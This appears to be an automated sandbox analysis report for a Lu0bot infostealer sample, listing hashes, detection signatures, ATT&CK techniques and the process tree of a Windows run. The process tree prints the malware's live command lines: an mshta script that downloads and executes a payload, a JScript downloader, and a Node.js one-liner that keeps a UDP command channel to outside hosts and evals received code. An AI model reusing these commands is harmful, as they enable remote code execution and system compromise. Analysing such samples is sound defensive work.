lu0bot | db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0

Analysis

max time kernel
149s
max time network
160s
platform
windows10_x64
resource
win10v20210410
submitted
04-08-2021 09:23

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General

Target

usfive_20210804-112044.exe
Size

3KB
MD5

172da997f8be4c8d0318a322c8ee806e
SHA1

224d3e925800815e792af3a28f8d2dffb9c21e70
SHA256

db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0
SHA512

75e85d44f076dee7505389284609ab4b138d676d777e3ebfe37e11053b293b7f5d91cfb66a4304539fb41c91db74c79ec93d262cbe1e908ffd5f530be4475ca4

Score

10^/10

lu0bot discovery stealer suricata trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	864	mshta.exe
11	3484	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
1300	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3656	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
932	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
3308	ipconfig.exe
4020	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2208	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\8a4e22b139f7852a:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:9bd07d635b3299af5f2e2efea0ef89df	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1300	node.exe
1300	node.exe
1300	node.exe
1300	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	932	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1600	wmic.exe
Token: SeSecurityPrivilege	1600	wmic.exe
Token: SeTakeOwnershipPrivilege	1600	wmic.exe
Token: SeLoadDriverPrivilege	1600	wmic.exe
Token: SeSystemProfilePrivilege	1600	wmic.exe
Token: SeSystemtimePrivilege	1600	wmic.exe
Token: SeProfSingleProcessPrivilege	1600	wmic.exe
Token: SeIncBasePriorityPrivilege	1600	wmic.exe
Token: SeCreatePagefilePrivilege	1600	wmic.exe
Token: SeBackupPrivilege	1600	wmic.exe
Token: SeRestorePrivilege	1600	wmic.exe
Token: SeShutdownPrivilege	1600	wmic.exe
Token: SeDebugPrivilege	1600	wmic.exe
Token: SeSystemEnvironmentPrivilege	1600	wmic.exe
Token: SeRemoteShutdownPrivilege	1600	wmic.exe
Token: SeUndockPrivilege	1600	wmic.exe
Token: SeManageVolumePrivilege	1600	wmic.exe
Token: 33	1600	wmic.exe
Token: 34	1600	wmic.exe
Token: 35	1600	wmic.exe
Token: 36	1600	wmic.exe
Token: SeIncreaseQuotaPrivilege	1600	wmic.exe
Token: SeSecurityPrivilege	1600	wmic.exe
Token: SeTakeOwnershipPrivilege	1600	wmic.exe
Token: SeLoadDriverPrivilege	1600	wmic.exe
Token: SeSystemProfilePrivilege	1600	wmic.exe
Token: SeSystemtimePrivilege	1600	wmic.exe
Token: SeProfSingleProcessPrivilege	1600	wmic.exe
Token: SeIncBasePriorityPrivilege	1600	wmic.exe
Token: SeCreatePagefilePrivilege	1600	wmic.exe
Token: SeBackupPrivilege	1600	wmic.exe
Token: SeRestorePrivilege	1600	wmic.exe
Token: SeShutdownPrivilege	1600	wmic.exe
Token: SeDebugPrivilege	1600	wmic.exe
Token: SeSystemEnvironmentPrivilege	1600	wmic.exe
Token: SeRemoteShutdownPrivilege	1600	wmic.exe
Token: SeUndockPrivilege	1600	wmic.exe
Token: SeManageVolumePrivilege	1600	wmic.exe
Token: 33	1600	wmic.exe
Token: 34	1600	wmic.exe
Token: 35	1600	wmic.exe
Token: 36	1600	wmic.exe
Token: SeDebugPrivilege	4020	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 3680 wrote to memory of 864	3680	usfive_20210804-112044.exe	73
PID 3680 wrote to memory of 864	3680	usfive_20210804-112044.exe	73
PID 3680 wrote to memory of 864	3680	usfive_20210804-112044.exe	73
PID 864 wrote to memory of 2900	864	mshta.exe	77
PID 864 wrote to memory of 2900	864	mshta.exe	77
PID 864 wrote to memory of 2900	864	mshta.exe	77
PID 2900 wrote to memory of 3484	2900	cmd.exe	79
PID 2900 wrote to memory of 3484	2900	cmd.exe	79
PID 2900 wrote to memory of 3484	2900	cmd.exe	79
PID 2900 wrote to memory of 2876	2900	cmd.exe	80
PID 2900 wrote to memory of 2876	2900	cmd.exe	80
PID 2900 wrote to memory of 2876	2900	cmd.exe	80
PID 2900 wrote to memory of 2676	2900	cmd.exe	81
PID 2900 wrote to memory of 2676	2900	cmd.exe	81
PID 2900 wrote to memory of 2676	2900	cmd.exe	81
PID 2676 wrote to memory of 1300	2676	cscript.exe	82
PID 2676 wrote to memory of 1300	2676	cscript.exe	82
PID 2676 wrote to memory of 1300	2676	cscript.exe	82
PID 1300 wrote to memory of 3776	1300	node.exe	86
PID 1300 wrote to memory of 3776	1300	node.exe	86
PID 1300 wrote to memory of 3776	1300	node.exe	86
PID 1300 wrote to memory of 3048	1300	node.exe	87
PID 1300 wrote to memory of 3048	1300	node.exe	87
PID 1300 wrote to memory of 3048	1300	node.exe	87
PID 1300 wrote to memory of 3656	1300	node.exe	88
PID 1300 wrote to memory of 3656	1300	node.exe	88
PID 1300 wrote to memory of 3656	1300	node.exe	88
PID 1300 wrote to memory of 4036	1300	node.exe	89
PID 1300 wrote to memory of 4036	1300	node.exe	89
PID 1300 wrote to memory of 4036	1300	node.exe	89
PID 1300 wrote to memory of 3604	1300	node.exe	90
PID 1300 wrote to memory of 3604	1300	node.exe	90
PID 1300 wrote to memory of 3604	1300	node.exe	90
PID 1300 wrote to memory of 932	1300	node.exe	92
PID 1300 wrote to memory of 932	1300	node.exe	92
PID 1300 wrote to memory of 932	1300	node.exe	92
PID 1300 wrote to memory of 1600	1300	node.exe	93
PID 1300 wrote to memory of 1600	1300	node.exe	93
PID 1300 wrote to memory of 1600	1300	node.exe	93
PID 1300 wrote to memory of 3308	1300	node.exe	94
PID 1300 wrote to memory of 3308	1300	node.exe	94
PID 1300 wrote to memory of 3308	1300	node.exe	94
PID 1300 wrote to memory of 768	1300	node.exe	95
PID 1300 wrote to memory of 768	1300	node.exe	95
PID 1300 wrote to memory of 768	1300	node.exe	95
PID 1300 wrote to memory of 4020	1300	node.exe	96
PID 1300 wrote to memory of 4020	1300	node.exe	96
PID 1300 wrote to memory of 4020	1300	node.exe	96
PID 1300 wrote to memory of 2208	1300	node.exe	97
PID 1300 wrote to memory of 2208	1300	node.exe	97
PID 1300 wrote to memory of 2208	1300	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
4036	attrib.exe
3604	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210804-112044.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210804-112044.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3680
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();159;y=unescape('%361%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E2%31').split('~');56;try{x='WinHttp';176;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);251;x.send();120;y='ipt.S';132;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);32;}catch(e){};239;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628069010597.txt & cscript /nologo /e:jscript get1628069010597.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2a63e88a5%26b%3D2127ffa1" node.cab & expand node.cab node.exe & del get1628069010597.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628069010597.txt & cscript /nologo /e:jscript get1628069010597.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27a63e88a5%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628069010597.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628069010597.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2a63e88a5%26b%3D2127ffa1" node.cab
      4⤵
      Blocklisted process makes network request
      PID:3484
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:2876
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628069010597.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27a63e88a5%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2676
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27a63e88a5%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1300
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:3776
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:3048
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3656
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:4036
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:3604
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:932
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1600
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:3308
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:768
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:4020
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:2208

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1300-128-0x000000001C100000-0x000000001C101000-memory.dmp

Filesize
4KB

Download
memory/1300-129-0x0000000007300000-0x0000000007301000-memory.dmp

Filesize
4KB

Download
memory/1300-125-0x000000001C300000-0x000000001C301000-memory.dmp

Filesize
4KB

Download
memory/1300-126-0x0000000006C00000-0x0000000006C01000-memory.dmp

Filesize
4KB

Download
memory/1300-127-0x000000000E100000-0x000000000E101000-memory.dmp

Filesize
4KB

Download
memory/1300-130-0x000000003F300000-0x000000003F301000-memory.dmp

Filesize
4KB

Download